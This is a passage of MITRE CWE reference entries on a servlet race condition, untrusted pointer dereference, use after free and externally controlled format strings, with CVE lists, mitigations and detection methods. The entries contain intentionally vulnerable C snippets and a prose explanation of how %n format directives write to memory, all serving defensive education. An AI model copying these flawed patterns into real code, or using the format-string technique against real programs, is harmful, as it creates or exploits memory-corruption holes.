Thread A continues. It saves the intermediate, incremented value to the count variable - but the incremented value is 1, so count is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of count should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

Potential Mitigations

Phase: Implementation

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	986	SFP Secondary Cluster: Missing Lock
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1401	Comprehensive Categorization: Concurrency

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	VNA00-J	Ensure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J	Ensure that compound operations on shared variables are atomic
Software Fault Patterns	SFP19	Missing Lock

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-25	Forced Deadlock

Content History

Submissions
Submission Date	Submitter	Organization
2006-12-15 (CWE Draft 5, 2006-12-15)	CWE Community
2006-12-15 (CWE Draft 5, 2006-12-15)	Submitted by members of the CWE community to extend early CWE versions
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Other_Notes
2010-12-09	CWE Content Team	MITRE
2010-12-09	Made name and description more specific to match the essence of the rest of the entry.
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Other_Notes, Potential_Mitigations, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2010-12-13	Unsynchronized Access to Shared Data

Weakness ID: 822

View customized information:

Description

The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.

Extended Description

An attacker can supply a pointer for memory locations that the product is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a variable to an unexpected value (since the value will be read from an unexpected memory location).

There are several variants of this weakness, including but not necessarily limited to:

The untrusted value is directly invoked as a function call.
In OS kernels or drivers where there is a boundary between "userland" and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).
Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	125	Out-of-bounds Read
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	787	Out-of-bounds Write

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	465	Pointer Issues

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Memory If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.
Availability	Technical Impact: DoS: Crash, Exit, or Restart If the untrusted pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands; Modify Memory If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

Observed Examples

Reference	Description
CVE-2007-5655	message-passing framework interprets values in packets as pointers, causing a crash.
CVE-2010-2299	labeled as a "type confusion" issue, also referred to as a "stale pointer." However, the bug ID says "contents are simply interpreted as a pointer... renderer ordinarily doesn't supply this pointer directly". The "handle" in the untrusted area is replaced in one function, but not another - thus also, effectively, exposure to wrong sphere (CWE-668).
CVE-2009-1719	Untrusted dereference using undocumented constructor.
CVE-2009-1250	An error code is incorrectly checked and interpreted as a pointer, leading to a crash.
CVE-2009-0311	An untrusted value is obtained from a packet and directly called as a function pointer, leading to code execution.
CVE-2010-1818	Undocumented attribute in multimedia software allows "unmarshaling" of an untrusted pointer.
CVE-2010-3189	ActiveX control for security software accepts a parameter that is assumed to be an initialized pointer.
CVE-2010-1253	Spreadsheet software treats certain record values that lead to "user-controlled pointer" (might be untrusted offset, not untrusted pointer).

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	867	2011 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Terminology

Maintenance

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-129	Pointer Manipulation

Content History

Submissions
Submission Date	Submitter	Organization
2010-09-22 (CWE 1.10, 2010-09-27)	CWE Content Team	MITRE
2010-09-22 (CWE 1.10, 2010-09-27)
Modifications
Modification Date	Modifier	Organization
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Description
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Related_Attack_Patterns, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Research_Gaps
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Common_Consequences, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 416

View customized information:

Description

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

Extended Description

The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:

Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for freeing the memory.

In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.

If the newly allocated data happens to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.

Alternate Terms

Dangling pointer
Use-After-Free

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	825	Expired Pointer Dereference
PeerOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	415	Double Free
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	364	Signal Handler Race Condition
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	123	Write-what-where Condition

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	672	Operation on a Resource after Expiration or Release

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	672	Operation on a Resource after Expiration or Release

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	672	Operation on a Resource after Expiration or Release

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity	Technical Impact: Modify Memory The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.
Availability	Technical Impact: DoS: Crash, Exit, or Restart If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information.
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)

Example Language: C

#include <stdio.h>
#include <unistd.h>
#define BUFSIZER1 512
#define BUFSIZER2 ((BUFSIZER1/2) - 8)
int main(int argc, char **argv) {

char *buf1R1;
char *buf2R1;
char *buf2R2;
char *buf3R2;
buf1R1 = (char *) malloc(BUFSIZER1);
buf2R1 = (char *) malloc(BUFSIZER1);
free(buf2R1);
buf2R2 = (char *) malloc(BUFSIZER2);
buf3R2 = (char *) malloc(BUFSIZER2);
strncpy(buf2R1, argv[1], BUFSIZER1-1);
free(buf1R1);
free(buf2R2);
free(buf3R2);

}

Example 2

The following code illustrates a use after free error:

(bad code)

Example Language: C

char* ptr = (char*)malloc (SIZE);
if (err) {

abrt = 1;
free(ptr);

}
...
if (abrt) {

logError("operation aborted before commit", ptr);

}

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Observed Examples

Reference	Description
CVE-2022-20141	Chain: an operating system kernel has insufficent resource locking (CWE-413) leading to a use after free (CWE-416).
CVE-2022-2621	Chain: two threads in a web browser use the same resource (CWE-366), but one of those threads can destroy the resource before the other has completed (CWE-416).
CVE-2021-0920	Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
CVE-2020-6819	Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
CVE-2010-4168	Use-after-free triggered by closing a connection while data is still being transmitted.
CVE-2010-2941	Improper allocation for invalid data leads to use-after-free.
CVE-2010-2547	certificate with a large number of Subject Alternate Names not properly handled in realloc, leading to use-after-free
CVE-2010-1772	Timers are not disabled when a related object is deleted
CVE-2010-1437	Access to a "dead" object that is being cleaned up
CVE-2010-1208	object is deleted even with a non-zero reference count, and later accessed
CVE-2010-0629	use-after-free involving request containing an invalid version number
CVE-2010-0378	unload of an object that is currently being accessed by other functionality
CVE-2010-0302	incorrectly tracking a reference count leads to use-after-free
CVE-2010-0249	use-after-free related to use of uninitialized memory
CVE-2010-0050	HTML document with incorrectly-nested tags
CVE-2009-3658	Use after free in ActiveX object by providing a malformed argument to a method
CVE-2009-3616	use-after-free by disconnecting during data transfer, or a message containing incorrect data types
CVE-2009-3553	disconnect during a large data transfer causes incorrect reference count, leading to use-after-free
CVE-2009-2416	use-after-free found by fuzzing
CVE-2009-1837	Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)
CVE-2009-0749	realloc generates new buffer and pointer, but previous pointer is still retained, leading to use after free
CVE-2010-3328	Use-after-free in web browser, probably resultant from not initializing memory.
CVE-2008-5038	use-after-free when one thread accessed memory that was freed by another thread
CVE-2008-0077	assignment of malformed values to certain properties triggers use after free
CVE-2006-4434	mail server does not properly handle a long header.
CVE-2010-2753	chain: integer overflow leads to use-after-free
CVE-2006-4997	freed pointer dereference

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Detection Methods

Fuzzing

Effectiveness: High

Automated Static Analysis

Effectiveness: High

Affected Resources

Memory

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	398	7PK - Code Quality
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	808	2010 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	983	SFP Secondary Cluster: Faulty Resource Use
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 4-1		Req SI-1
7 Pernicious Kingdoms			Use After Free
CLASP			Using freed memory
CERT C Secure Coding	MEM00-C		Allocate and free memory in the same module, at the same level of abstraction
CERT C Secure Coding	MEM01-C		Store a new value in pointers immediately after free()
CERT C Secure Coding	MEM30-C	Exact	Do not access freed memory
Software Fault Patterns	SFP15		Faulty Resource Use

References

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	7 Pernicious Kingdoms
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2022-06-28	Anonymous External Contributor
2022-06-28	Suggested rephrase for extended description
2023-11-14 (CWE 4.14, 2024-02-29)	participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
2023-11-14 (CWE 4.14, 2024-02-29)	Contributed or reviewed taxonomy mappings for ISA/IEC 62443
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-08-01		KDM Analytics
2008-08-01	added/updated white box definitions
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Demonstrative_Examples
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Relationships
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Potential_Mitigations
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Observed_Examples, Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Alternate_Terms, Common_Consequences, Description, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Description
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Demonstrative_Examples
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Demonstrative_Examples, Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships, Type
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References, Relationships, Taxonomy_Mappings
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Description, Relationships, Taxonomy_Mappings
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Taxonomy_Mappings

Weakness ID: 134

View customized information:

Description

The product uses a function that accepts a format string as an argument, but the format string originates from an external source.

Extended Description

When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems.

It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	668	Exposure of Resource to Wrong Sphere
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	123	Write-what-where Condition

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	133	String Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	668	Exposure of Resource to Wrong Sphere

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	20	Improper Input Validation

Modes Of Introduction

Phase	Note
Implementation	The programmer rarely intends for a format string to be externally-controlled at all. This weakness is frequently introduced in code that constructs log messages, where a constant format string is omitted.
Implementation	In cases such as localization and internationalization, the language-specific message repositories could be an avenue for exploitation, but the format string issue would be resultant, since attacker control of those repositories would also allow modification of message length, format, and content.

Applicable Platforms

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Perl (Rarely Prevalent)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Memory Format string problems allow for information disclosure which can severely simplify exploitation of the program.
Integrity Confidentiality Availability	Technical Impact: Modify Memory; Execute Unauthorized Code or Commands Format string problems can result in the execution of arbitrary code.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following program prints a string provided as an argument.

(bad code)

Example Language: C

#include <stdio.h>

void printWrapper(char *string) {

printf(string);

}

int main(int argc, char **argv) {

char buf[5012];
memcpy(buf, argv[1], 5012);
printWrapper(argv[1]);
return (0);

}

The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple.

Example 2

The following code copies a command line argument into a buffer using snprintf().

(bad code)

Example Language: C

int main(int argc, char **argv){

char buf[128];
...
snprintf(buf,128,argv[1]);

}

This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.

Example 3

Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:

(bad code)

Example Language: C

printf("%d %d %1$d %1$d\n", 5, 9);

This code produces the following output: 5 9 5 5 It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

Observed Examples

Reference	Description
CVE-2002-1825	format string in Perl program
CVE-2001-0717	format string in bad call to syslog function
CVE-2002-0573	format string in bad call to syslog function
CVE-2002-1788	format strings in NNTP server responses
CVE-2006-2480	Format string vulnerability exploited by triggering errors or warnings, as demonstrated via format string specifiers in a .bmp filename.
CVE-2007-2027	Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages

Potential Mitigations

Phase: Requirements

Choose a language that is not subject to this flaw.

Phase: Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user, and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [REF-116] [REF-117]

Phase: Build and Compilation

Run compilers and linkers with high warning levels, since they may detect incorrect usage.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box

Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source.

Effectiveness: Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

Warning Flags

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

